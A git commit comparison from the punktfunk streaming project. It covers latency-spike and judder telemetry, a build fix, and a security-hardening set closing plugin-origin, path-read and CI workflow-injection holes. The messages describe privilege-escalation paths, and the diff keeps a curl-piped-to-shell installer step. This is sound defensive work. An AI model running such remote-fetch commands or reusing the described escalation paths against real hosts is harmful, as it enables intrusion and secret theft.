Compare commits

..
Author SHA1 Message Date
enricobuehler 3c25ff1a80 feat(client/android): per-AU attribution for latency excursions
The e2e spikes WP2 surfaced (79-106 ms against a 9-16 ms p50) could not be
diagnosed from what we log. Window maxima cannot say WHERE a 90 ms frame spent
its time, because the per-stage maxima in a window are generally different
frames. Attribution has to be captured per AU, for the offending AU.

`debug.punktfunk.spike_ms` arms a watch: every AU whose capture->reassembled
latency crosses the threshold is logged to `pf.spike` with the host's own
pipeline time for that same AU (from the 0xCF timing plane), the remainder on
the wire, the AU's size, and the gap since the previous AU was reassembled.
That last field is what separates "this frame was slow" from "the stream
stalled and then burst" — indistinguishable in any percentile. Off by default,
so it costs nothing until someone asks.

Also moves the 0xCF drain OUT of the HUD gate. It carries the host's per-AU
pipeline time and the phase-lock ACK, neither of which had any business being
invisible with the HUD down — the same HUD-gating trap this client has now hit
three times.

What it found immediately, on .173 over Wi-Fi:

  idx=2383 hostnetMs=72.8 hostMs=4.6 netMs=68.2 gapMs=69.5
  idx=2384 hostnetMs=66.4 hostMs=4.9 netMs=61.6 gapMs=1.8
  idx=2385 hostnetMs=62.2 hostMs=4.9 netMs=57.3 gapMs=3.8
  ...
  idx=2420 hostnetMs=69.2 hostMs=4.3 netMs=65.0 gapMs=69.3

A ~69 ms window where nothing is delivered, then a burst that drains the
backlog, recurring every ~305 ms. Across 112 attributed frames the host
pipeline is 2.0-8.0 ms (mean 3.9) and never spikes: the excursion is entirely
wire time. Our Wi-Fi low-latency lock is confirmed active throughout
(`dumpsys wifi`: both locks held, uid in the low-latency watchlist,
operation mode 4), so this is NOT the power-save trap StreamScreen already
defends against — that defence is working and is not sufficient.

Gates: cargo ndk check + clippy arm64 clean (the 5 warnings are pre-existing
and in other files); fmt clean.
2026-08-06 00:15:11 +02:00
enricobuehler 1099c94ca3 fix(client/present): one bogus present stamp no longer wedges the cadence run
Caught on glass during the WP2 baseline, on the first stream the metric ever
measured: judder=0 mode=0 cadN=0 disorder=119, every second, on a perfectly
healthy 118 fps stream with the panel period correctly learned at 8.33 ms.

Every single present was scoring as disordered. The cause was the vendor quirk
decode/display.rs already documents — Android's render callback can deliver a
garbage far-future system_nano on a session's first frames. The rule "hold the
later instant so one reordered delivery cannot corrupt the following spacings"
then latched onto that stamp permanently: every real timestamp afterwards was
behind it, so nothing was ever scored again for the rest of the session.

The rule was right for what it was written for and wrong past a bound. A step
backwards of a few refreshes IS a reordered delivery and the later instant
should win; a step backwards of an hour is a bogus stamp and the run must
re-anchor onto the new sample. One bad sample now costs one sample.

Both implementations get the bound and the regression test, since the two must
agree; the Swift port would otherwise have shipped the same latch-up.

Also makes the statistic self-diagnosing, which is what turned a puzzling
result into a five-minute diagnosis: summary() returning None was
indistinguishable from a window of perfectly smooth zeros in a log line, so
"no cadence is being scored at all" looked exactly like "no judder". The
pf.present line now carries the raw sample/stall/disorder counts and the period
the run is quantising against, whatever the evidence bar.

Gates: punktfunk-core 190 tests green (22 in phase, incl. the new
a_garbage_far_future_stamp_does_not_wedge_the_run); swift test
--filter PresentIntervalsTests 11/11 green; fmt clean; on-glass re-run against
.173 now reports judder 8-36permille with cadN ~119/s.
2026-08-05 23:45:06 +02:00
enricobuehler e5ba78ea66 fix(apple): build opus from source so the xcframework stops depending on brew
The xcframework build failed its own deployment-target guard on any Mac with
a Homebrew libopus installed:

    ERROR: .../libpunktfunk_core.a contains objects built for macOS 26.0 (> 14.0)

The guard was right; its advice was not. This is not a stale cache, and the
suggested `rm -rf target/{aarch64,x86_64}-apple-darwin` never fixes it —
the objects come back on every clean rebuild.

audiopus_sys probes pkg-config before falling back to its vendored copy, and
on this machine it found /opt/homebrew/Cellar/opus/1.6.1 and linked it
statically. Homebrew compiles for the HOST macOS, so 143 SILK objects
(wrappers_FLP.o, VAD.o, stereo_*.o, resampler.o …) entered our staticlib
carrying minos 26 while everything we compiled carried 11 or 14.

That made a locally-built framework's validity depend on whether the
developer happens to have run `brew install opus` — for an artifact every
Apple build consumes and no one commits, which is exactly the kind of
environmental coupling that produces "works on my machine". OPUS_NO_PKG_CONFIG
forces the vendored build unconditionally; CMAKE_POLICY_VERSION_MINIMUM is
what that vendored copy needs to configure under CMake 4, which removed
support for the pre-3.5 minimum its CMakeLists still declares.

The guard's error message now names both causes and shows how to identify the
offending objects, since the misleading half cost real time.

Verified: from a fully clean target dir and with no environment variables set,
`bash scripts/build-xcframework.sh` completes and signs. `swift build` then
compiles PunktfunkKit, and `swift test --filter PresentIntervalsTests` runs
10/10 green — which pays off the Apple typecheck owed by d0d23994.
2026-08-05 23:22:37 +02:00
enricobuehler d0d2399476 feat(client/present): Apple reads the cadence statistic — WP1 complete
The third and last leg of WP1. All three clients now publish the same
judder number, which was the point: one ruler, so a smoothness A/B can be
compared across platforms instead of argued about.

A verbatim Swift port of punktfunk_core::phase::PresentIntervals, in the
same spirit as PhaseReporter.circularLatch alongside it, with a test file
that runs the SAME vectors as the Rust unit tests. A hand-written port is
exactly where "all three emit the same numbers" quietly stops being true,
so it is pinned rather than trusted.

Porting it found a real cross-client hazard. The modal spacing was read
with max_by_key, which returns the LAST maximum, while Swift's max(by:)
returns the FIRST — so a 50/50 window (the classic 1-and-3 sawtooth) would
have reported the same judder but a different mode on Android and Apple.
Both sides now spell the rule out: ties resolve to the smallest spacing.
The Rust test that previously accepted either answer now pins it.

Two Apple-specific decisions:

  - the stats object is built for EVERY session, not just under the debug
    env var or deadline pacing. A smoothness defect produces no drops and
    healthy percentiles, so gating the one statistic that could see it
    behind an env var means it is off exactly when it matters. A `verbose`
    flag preserves the old behaviour for the wordy counters line; the
    cadence line always emits.
  - the panel period comes from the link's own reported period (glass
    pacing) or is learned from the link's target instants (deadline
    pacing). Those tick at the panel rate whether or not WE present, which
    is what makes the window minimum the true period — the same reasoning
    PhaseReporter already documents. Learning it from on-glass spacings
    instead would read a 60-on-120 stream as a 60 Hz panel and mislabel the
    cadence mode.

A dropped drawable splits the run rather than scoring the gap: it never
reached glass, so it is not a cadence event, and the next present does not
continue the previous interval either.

Gates: punktfunk-core 21 phase tests green; the Swift port verified against
all 11 Rust vectors via a standalone harness (identical mode/judder/samples/
stalls/disordered on every case, incl. the tie-break); both edited Swift
files parse clean; fmt clean.

⚠ The Swift INTEGRATION is not compiler-verified locally: building
PunktfunkCore.xcframework on this machine fails a pre-existing deployment-
target guard (objects at minos 26 survive a cache wipe and an exported
MACOSX_DEPLOYMENT_TARGET). Source-only change, so it cannot be the cause.
CI's Apple leg owns that check — treat it as owed, not passed.
2026-08-05 23:14:28 +02:00
enricobuehler 53278c6f5f feat(client/present): desktop reads the cadence statistic too
WP1 continued — the Linux/Windows session client joins Android on the shared
PresentIntervals. Apple is the remaining leg.

The metric lives on LatchClock because that is where the on-glass stamps and
the learned panel grid it quantises against already meet, so no new plumbing
and no second source of truth about the grid. Every stamp is scored,
including the sub-millisecond pairs the grid learner deliberately skips: two
presents inside one refresh is not a grid step, but it is very much a
cadence event.

The period is taken seeded-or-learned rather than learned-only, so cadence is
scored from the first window instead of waiting for the learner to converge.

Judder also becomes a trigger for the 1 Hz presenter line. That line only
fired on drops, gate holds or the debug env var — and a cadence defect
produces none of those: no drops, no holds, healthy percentiles, visibly
broken motion. Without this a desktop stream could judder for an entire
session and never emit a line, which is the same blind spot the metric exists
to close.

One honest asymmetry, recorded in the code: these stamps are CLOCK_REALTIME
(this module's domain), so a wall-clock step would forge a hitch that never
happened. It lands in the stall/disordered counters rather than the judder
ratio, which is part of why that split is worth having. Android feeds the
metric a raw monotonic stamp and has no such exposure.

Gates: cargo check + clippy --all-targets on pf-presenter clean; punktfunk-core
clippy -D warnings clean; fmt clean.
2026-08-05 22:44:35 +02:00
enricobuehler fc5b6296e3 feat(client/present): the cadence statistic — measure judder, not just latency
WP1 of design/presenter-cadence-rework-implementation-plan.md. Shared core
type plus the Android binding; desktop and Apple follow.

Every stat we publish is a latency — a difference between two points on one
frame. No latency can see judder, because judder is a property of the
SEQUENCE. A stream that shows each frame one refresh early and the next one
late has excellent percentiles and looks broken; a stream whose every
interval is exactly two refreshes has worse latency than one alternating 1
and 3, and looks perfect. That blind spot is why a smoothness complaint
could not be confirmed or refuted from our own telemetry.

PresentIntervals quantises the spacing between consecutive on-glass instants
onto the learned panel grid and reports the modal spacing plus the fraction
of intervals that miss it — the judder number, in permille to match the
phase coherence already next to it. Scale-free: the mode absorbs the cadence
ratio, so 60-on-120 and 120-on-120 are both "one tall bucket" and directly
comparable. That is what makes it usable as one ruler across clients,
refresh rates and stream rates, and for a feature-on/off A/B.

Deliberate choices, each with a test:

  - fed the MEASURED on-glass instant, never the requested present time,
    which would measure our own intent and always look perfect
  - fed SurfaceFlinger's raw CLOCK_MONOTONIC render stamp, not the
    realtime-rebased one the latency stats use: cadence is about spacing,
    and a realtime clock step would forge a hitch that never happened
  - stalls (>8 refreshes) and out-of-order callbacks counted apart from the
    ratio, so a window that looks smooth because the stream was PAUSED
    cannot be mistaken for a good one
  - sub-refresh jitter is not judder: the display quantises it away, so the
    metric must too
  - the predecessor survives a window drain, else one interval per window
    would go unscored forever

Always-on via the 1 Hz pf.present line, so the HUD-off wireless A/B the
baseline measurement needs is readable from logcat. HUD surfacing waits on
the stats-unification spec amendment (plan S3) and on the in-flight HUD work.

Gates: punktfunk-core 189 tests green (10 new); cargo ndk check + clippy
arm64 clean — the 5 remaining warnings are pre-existing and in other files.
2026-08-05 22:40:43 +02:00
enricobuehler 4a0d0ce587 Merge pull request 'The plugin lane stops being a way in — 37 of the 38 security-review findings' (#58) from worktree-security-review-0805-fixes into main
apple / swift (push) Successful in 1m24s
ci / web (push) Successful in 1m48s
ci / rust-arm64 (push) Successful in 2m2s
ci / docs-site (push) Successful in 2m2s
docker / builders (--build-arg FEDORA_VERSION=44, ci/fedora-rpm.Dockerfile, punktfunk-fedora44-rpm, -f44) (push) Successful in 9s
docker / builders (ci/android-ci.Dockerfile, punktfunk-android-ci) (push) Successful in 6s
docker / builders (ci/arch-ci.Dockerfile, punktfunk-arch-ci) (push) Successful in 7s
docker / builders (ci/fedora-rpm.Dockerfile, punktfunk-fedora-rpm) (push) Successful in 43s
docker / builders (ci/rust-ci-noble.Dockerfile, punktfunk-rust-ci-noble) (push) Successful in 29s
docker / builders (ci/rust-ci.Dockerfile, punktfunk-rust-ci) (push) Successful in 9s
deb / build-publish-client-arm64 (push) Successful in 2m34s
docker / apps (., web/Dockerfile, punktfunk-web) (push) Successful in 49s
deb / build-publish (push) Successful in 5m50s
docker / apps (docs-site, docs-site/Dockerfile, punktfunk-docs) (push) Successful in 1m23s
docker / builders-arm64cross (push) Successful in 6s
android / android (push) Successful in 6m19s
docker / deploy-docs (push) Successful in 32s
apple / screenshots (push) Successful in 5m45s
deb / build-publish-host (push) Successful in 6m11s
arch / build-publish (push) Successful in 8m38s
ci / rust (push) Successful in 10m48s
windows-host / package (push) Failing after 11m42s
windows-host / canary-manifest (push) Skipped
windows-host / winget-source (push) Skipped
rpm / build-publish (43, bazzite, punktfunk-fedora-rpm) (push) Successful in 21m3s
rpm / build-publish (44, fedora-44, punktfunk-fedora44-rpm) (push) Successful in 20m44s
Reviewed-on: #58
2026-08-05 17:39:02 +00:00
enricobuehler 0d94ef0dbe fix(host/mgmt): the field gate returns the refusal, not an error carrying it
apple / swift (pull_request) Successful in 1m26s
apple / screenshots (pull_request) Skipped
ci / web (pull_request) Successful in 1m49s
ci / docs-site (pull_request) Successful in 2m17s
ci / rust-arm64 (pull_request) Successful in 2m43s
android / android (pull_request) Successful in 3m3s
ci / rust (pull_request) Successful in 8m31s
`check_entry_fields` returned `Result<(), Response>`, which trips
`clippy::result_large_err` under CI's `-D warnings`: an axum `Response` is 128
bytes and it was riding in the `Err` variant.

`Option<Response>` is the shape this always wanted. There is no error value to
propagate here — the "error" IS the response the handler sends back — so `None`
means "the payload may proceed" and `Some(r)` is the refusal to return. The call
sites read the same, one word different.

Caught by CI, not by me: I ran `cargo check` and not `cargo clippy -D warnings`.
2026-08-05 19:14:19 +02:00
enricobuehler defdfbdb58 fix(security): plugin UIs get their own origin
ci / web (pull_request) Successful in 1m2s
apple / swift (pull_request) Successful in 1m33s
apple / screenshots (pull_request) Skipped
ci / rust-arm64 (pull_request) Successful in 2m4s
ci / docs-site (pull_request) Successful in 2m13s
android / android (pull_request) Successful in 3m16s
ci / rust (pull_request) Failing after 3m36s
Closes H-3 of the 2026-08-05 review, the last of its six highs. A plugin's
interface was reverse-proxied onto the console's own origin and framed with
`allow-same-origin`, so plugin JS ran as first-party code on that origin: one
`fetch('/api/**', {credentials:'same-origin'})` and the BFF attached the
operator's ADMIN bearer. That reached everything `plugin_may_access` withholds
— arm pairing, read the host PIN, approve a device, read `/hooks`. The "open
in new tab" link was the same escalation with no iframe involved at all.

The fix is not a sandbox attribute, and it is worth writing down why, because
the obvious change is the one that does not work. Dropping `allow-same-origin`
gives the frame an OPAQUE origin; its subresource requests are then cross-site;
the `SameSite=Lax` session cookie stops being sent; every plugin asset 302s to
/login and the frame is blank. Nothing about the new-tab link is helped either.

So the origin moves instead. A second listener on its own port (default
PORT + 1) serves plugin UIs and nothing else:

  different ORIGIN — scheme+host+PORT — so the same-origin policy separates the
                     plugin from the console: it cannot read the console's DOM,
                     its cross-origin fetch of /api/** is unreadable (no CORS)
                     and cannot mutate (Sec-Fetch-Site sees same-site).
  same SITE        — cookie scope ignores the port and SameSite is computed on
                     the site, so the session cookie still reaches the plugin
                     listener and plugin pages keep working.

Enforcement is two refusals and both are load-bearing: the console origin
refuses /plugin-ui/**, and the plugin origin refuses everything ELSE — above
all /api/**, which would otherwise hand the admin bearer right back to plugin
JS that is now same-origin with that listener. Both are unconditional: if the
plugin port cannot be bound, plugin UIs are DISABLED and the console says so,
rather than falling back to the arrangement this exists to remove.

Two consequences that would otherwise bite in the field:

  The port has to be open. Done for the Windows netsh rule, the firewalld
  service and the ufw profile.

  A browser stores a self-signed-certificate exception per ORIGIN, including
  the port — and a certificate interstitial can never be shown inside an
  iframe, so the frame would just sit blank with nothing on screen explaining
  why. A `no-cors` probe distinguishes it (a TLS failure rejects; any HTTP
  answer, even 401, resolves) and the console renders a card linking the
  operator to open the port once in a real tab.

Also here: the health probe moved server-side to the console origin (it used
to rely on being same-origin with the plugin), the postMessage listener now
verifies `event.origin` — a real check rather than a tautology — and
plugin-kit's `postMessage(..., "*")` is documented as load-bearing, since
narrowing it to `location.origin` would now target the plugin's own origin and
silently drop every message.

Verified against a running console with a fake mgmt API and a fake plugin:
console /plugin-ui/** → 404; plugin-origin /api/v1/hooks, /, /login,
/_auth/logout → 404; plugin page loads 200 through its own origin;
unauthenticated plugin origin → 401 (not a redirect to a /login it does not
serve); a forged x-pf-listener header changes nothing on either listener; the
plugin's own Clear-Site-Data / Access-Control-Allow-Origin / Set-Cookie are
dropped by the proxy allowlist; the plugin origin's CSP names the console as
its only frame-ancestors source; and with the port squatted, ui-config reports
`unavailable`, the console still refuses /plugin-ui/**, and the console itself
keeps working.

Still wants on-glass confirmation in a real browser — the cookie and framing
behaviour is reasoned from spec, not observed.

cargo fmt --all --check clean; cargo check -p punktfunk-host --all-targets
green on Windows; web console builds and typechecks.
2026-08-05 17:50:04 +02:00
enricobuehler 8103958169 fix(security): the plugin lane stops being a way in
Acts on the 2026-08-05 host security review. 36 of its 38 findings; the two
exceptions are recorded below and in the review doc.

The review's headline is that `plugin_may_access` was the one authorization
gate in the system that was allow-by-default — a hand-maintained denylist of
route prefixes, where every sibling gate is deny-by-default. Its own doc
comment names the two capabilities it exists to withhold, and both were
reachable one route over, because ~1450 commits of new routes were added and
the list was never one of the things anyone remembered to update.

So the gate is now an allowlist, and a test walks the live route table and
fails the build for any route that has not been deliberately classified for
both non-admin lanes. That test is the actual fix: it is what stops the next
route from arriving pre-authorized.

Route reachability and field authority turned out to be different questions.
A provider plugin has to be able to reconcile its own library entries — that
is what a scanner plugin IS — but `prep` and a `command` launch inside that
payload are handed to `/bin/sh -c` as the host user, and every execution site
documents them as operator-typed. Requests now carry the lane that authorized
them, and those two fields are refused to everyone but the operator's own
token.

The art proxy read any absolute path off disk in the host process, which on
Windows is LocalSystem, from a path the plugin lane could write and then read
back — so it yielded `mgmt-token`, which is full admin. It now serves only
real images (extension AND magic bytes, so a renamed secret fails), only from
inside an allowed root, only after canonicalization, and never over UNC; and
a path it would refuse to serve can no longer be persisted in the first place.

On Windows, the config-dir hardening was skipped exactly when it was needed —
it ran only in the branch that CREATES host.env, so the case it was written
for (a local user pre-created the directory and planted one) was the one case
it never ran in. It is now unconditional and first, an existing host.env is
re-owned, and the inheritable OWNER RIGHTS ACE that kept an attacker's files
theirs after the directory was re-owned is gone. The identity and token
readers were hardening the directory only on the path that GENERATED a new
secret, so a planted cert/key or token was adopted verbatim and permanently;
they harden before the first read now.

`ensure_admin_only_source` is implemented. The 2026-07-05 audit recorded it as
FIXED and it was in no commit in this repository's history — the local EoP it
described was live, and it is the payload half of the config-dir chain above.

Also: the three input planes are bounded and lossy like the mic plane on the
same loop already was; Android's library client no longer accepts any
publicly-trusted certificate for the pinned host; the usbip vhci nodes get
their own group instead of riding on `input`, which every packaging scriptlet
tells users to join; a registry URL can no longer inject a TOML table into
bunfig.toml; the pairing cooldown is charged before the arming state is read,
so armed/disarmed is no longer a free oracle; and the whole Low tier, of which
the two worth naming are a clipboard MIME NUL that panicked the host on one
control message, and an unauthenticated global logout that let any LAN peer
sign the operator out on a loop.

NOT fixed, deliberately:

  H-3 (plugin UIs framed allow-same-origin). Dropping allow-same-origin does
  not work: the document's origin goes opaque, its subresource requests are
  then cross-site, the SameSite=Lax session cookie is not sent, and every
  plugin asset 302s to /login. The "open in new tab" link is the same
  escalation with no iframe at all, so the sandbox attribute is not where this
  gets fixed either. It needs a second listener — a distinct origin that is
  still the same site — which changes the console's deploy model and wants
  on-glass validation. The mechanism and the dead end are written down at the
  iframe.

  H-6 registry authentication, whose other half lives in unom/infra. The
  in-repo halves are done: workflow_dispatch inputs no longer interpolate into
  run: blocks (one of them in the step holding UPDATE_MANIFEST_KEY), and the
  syft installer is pinned to its tag instead of main. Digest pinning is left
  until the registry is authenticated, because a tag — content-keyed or not —
  can simply be overwritten while anonymous pushes are accepted.

M-5 is half done: the oracle is closed, but binding the arming window needs
the console to learn the fingerprint first, which is a knock-then-bind flow
rather than an edit.

Verified: cargo fmt --all --check clean; cargo check --all-targets green on
Linux and on Windows (confirmed non-vacuous — a planted type error in
windows/install.rs fails the build); scripts/xcheck.sh windows check green;
cargo test -p punktfunk-host --bins 416 passed, the single failure being
gamestream::stream::tests::sender_delivers_batches, the known qemu-environmental
UDP-loopback flake that fails identically on clean main in the same container;
cargo test -p pf-clipboard 13 passed; web console typechecks.
2026-08-05 17:12:12 +02:00
122 changed files with 4143 additions and 5833 deletions
+19 -2
View File
@@ -41,9 +41,23 @@ jobs:
env:
REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }}
# Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion
# is a raw textual substitution performed BEFORE the shell sees the line, so a
# workflow_dispatch input containing shell syntax executes as this step — and this is the
# step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an
# update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data.
INPUT_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
TAG="${{ inputs.tag }}"
TAG="$INPUT_TAG"
# Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`.
case "$TAG" in
v[0-9]*) ;;
*) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;;
esac
case "$TAG" in
*-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;;
esac
@@ -67,4 +81,7 @@ jobs:
GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }}
DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }}
ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }}
run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}"
# Same reasoning as the publish step above: the input is data in the environment, never
# text spliced into the command line.
INPUT_TAG: ${{ inputs.tag }}
run: bash scripts/ci/discord-announce.sh "$INPUT_TAG"
+6 -1
View File
@@ -29,4 +29,9 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Tier-3 GPU stream benchmark
run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12
# Through the environment, not interpolated into the command line: a `${{ }}` expansion is
# substituted before the shell parses the line, so an input carrying shell syntax would run
# as this step (2026-08-05 review H-6).
env:
BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }}
run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12
+18
View File
@@ -20,6 +20,24 @@
# REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only —
# the LAN registry is unauthenticated inside the LAN).
#
# ⚠ OPEN FINDING — security-review-2026-08-05 H-6. That parenthetical is the whole problem.
# Every secret-bearing job in this repo runs INSIDE an image pulled from this registry by a
# MUTABLE tag (`:latest`), and the registry accepts pushes from any LAN peer. Attacker position #1
# of the project's own threat model — an unauthenticated LAN peer — therefore does not need to
# break any signing logic: they push one tag, and the next android.yml run executes their code in
# the same job that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape
# for rpm.yml (RPM_GPG_PRIVATE_KEY), android-promote.yml (SERVICE_ACCOUNT_JSON), and every other
# consumer listed by `grep -l 192.168.1.58:5010 .gitea/workflows/`.
#
# The fix is two halves and only one of them lives in this repo:
# 1. INFRA (unom/infra, runners/ci-core/): put auth in front of the registry, or move the
# builder images to git.unom.io where pushes are already authenticated.
# 2. HERE: once pushes are authenticated, pin consumers by `@sha256:` digest rather than
# `:latest`, so a compromised push cannot retroactively change what a green run built.
# Pinning by tag — including the content-keyed `$KEY` tags below — is NOT sufficient while
# the registry is open, because a tag can simply be overwritten.
# Neither half is done. The content-keying below bounds rebuild churn; it is not a trust boundary.
#
# Bootstrap note: consuming workflows pull <LAN>/punktfunk-rust-ci:latest, so the LAN
# registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry
# images); after that, this workflow keeps :latest current whenever ci/ changes.
+10 -2
View File
@@ -38,10 +38,18 @@ jobs:
with:
fetch-depth: 0
# Pinned syft (keep in sync with the version validated against this repo; bump deliberately).
#
# The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped
# into a shell, so whatever that branch happened to say at job time ran here, with the job's
# environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes
# the whole step reproducible: bump the tag in both places together.
- name: Install syft
env:
SYFT_VERSION: v1.49.0
run: |
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \
| sh -s -- -b /usr/local/bin v1.49.0
set -euo pipefail
curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \
| sh -s -- -b /usr/local/bin "$SYFT_VERSION"
- name: Generate SBOM
run: |
git config --global --add safe.directory "$PWD"
+9 -157
View File
@@ -10,7 +10,7 @@
"name": "MIT OR Apache-2.0",
"identifier": "MIT OR Apache-2.0"
},
"version": "0.24.0"
"version": "0.23.0"
},
"paths": {
"/api/v1/clients": {
@@ -1052,7 +1052,7 @@
"library"
],
"summary": "Fetch one cover-art image for a library entry",
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,\nand a library plugin's claimed-store entries) serves its local art file. A Steam title falls back\nto the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the\nuser's Steam client already shows for it), the public Steam CDN's flat URL convention second\n(newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case\nthis 404s and the client falls through to its next art candidate).",
"description": "Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams\nthe image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —\nit's what the user's Steam client already shows for it), the public Steam CDN's flat URL\nconvention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host\ncan't predict, in which case this 404s and the client falls through to its next art candidate).\nOnly Steam ids are backed today; any other store 404s.",
"operationId": "getLibraryArt",
"parameters": [
{
@@ -1307,7 +1307,7 @@
"library"
],
"summary": "Replace a provider's library entries (declarative reconcile)",
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.\n\n`?store=` additionally **claims** that store for the provider: its entries then surface with\ndeterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque\n`custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner\nused to produce, right down to the GameStream app ids and client-side art caches. One provider\nper store; a second claimant gets 409. While a claim is held the matching built-in scanner is\nsuppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty\nreconcile (a store can legitimately have zero installed titles).",
"description": "Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the\nprovider's desired list, keyed by its own stable `external_id` — the host diffs, keeps each\nsurviving title's host id stable across reconciles, drops orphans, and never touches manual\nentries or other providers'. An empty array removes everything the provider owns. Emits\n`library.changed` with the provider as `source`.",
"operationId": "reconcileProviderEntries",
"parameters": [
{
@@ -1318,15 +1318,6 @@
"schema": {
"type": "string"
}
},
{
"name": "store",
"in": "query",
"description": "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)",
"required": false,
"schema": {
"type": "string"
}
}
],
"requestBody": {
@@ -1357,7 +1348,7 @@
}
},
"400": {
"description": "Invalid provider id, store id, or payload",
"description": "Invalid provider id or payload",
"content": {
"application/json": {
"schema": {
@@ -1376,16 +1367,6 @@
}
}
},
"409": {
"description": "That store is already claimed by another provider",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/ApiError"
}
}
}
},
"500": {
"description": "Could not persist the catalog",
"content": {
@@ -4178,8 +4159,7 @@
"tier",
"platforms",
"compatible",
"update_available",
"categories"
"update_available"
],
"properties": {
"author": {
@@ -4192,13 +4172,6 @@
],
"description": "A revocation covering the catalogued version — do not offer this without shouting."
},
"categories": {
"type": "array",
"items": {
"type": "string"
},
"description": "What kind of plugin this is — the console filters Browse by these, and the Game sources\nsurface's \"Add a source\" rail shows exactly the `library` ones (design D5/D6)."
},
"compatible": {
"type": "boolean",
"description": "Can this host install it?"
@@ -4206,13 +4179,6 @@
"description": {
"type": "string"
},
"detected": {
"type": [
"boolean",
"null"
],
"description": "Whether the launcher this plugin scans looks **installed on this host** (design D8), from the\nindex's own existence probes. `null` = the entry declares no probes for this platform, which\nthe console renders as \"unknown\" rather than \"not installed\"."
},
"homepage": {
"type": [
"string",
@@ -4399,17 +4365,6 @@
],
"description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]."
},
"store": {
"type": [
"string",
"null"
],
"description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten."
},
"title": {
"type": "string"
}
@@ -4454,10 +4409,6 @@
},
"description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config."
},
"role": {
"$ref": "#/components/schemas/GameRole",
"description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)."
},
"title": {
"type": "string"
}
@@ -4516,17 +4467,6 @@
"type": "object",
"description": "What an operator (or a provider plugin) can tell the host about recognizing a title — the wire\nhalf of [`DetectSpec`], and the only part of it that is ever accepted from outside.\n\nDeliberately a **subset**: the store-derived signals (a Steam appid, a launcher's environment\nmarker) are things the host discovers for itself and would be meaningless — or dangerous — to take\non someone's word. What is left is what a provider genuinely knows and the host cannot guess: where\nthe title is installed, which executable is the game, what the process is called. All three are\noptional; supplying none is the same as supplying no hint at all.\n\nNever returned by the catalog API — see the module docs on why detect data does not cross the wire\noutbound.",
"properties": {
"env_marker": {
"oneOf": [
{
"type": "null"
},
{
"$ref": "#/components/schemas/EnvMarker",
"description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]."
}
]
},
"exe": {
"type": [
"string",
@@ -4547,15 +4487,6 @@
"null"
],
"description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]."
},
"steam_appid": {
"type": [
"integer",
"null"
],
"format": "int32",
"description": "The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**\nsignal that exists — Steam wraps every launch, native or Proton, in\n`reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a\nsteam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.",
"minimum": 0
}
}
},
@@ -4784,27 +4715,6 @@
}
}
},
"EnvMarker": {
"type": "object",
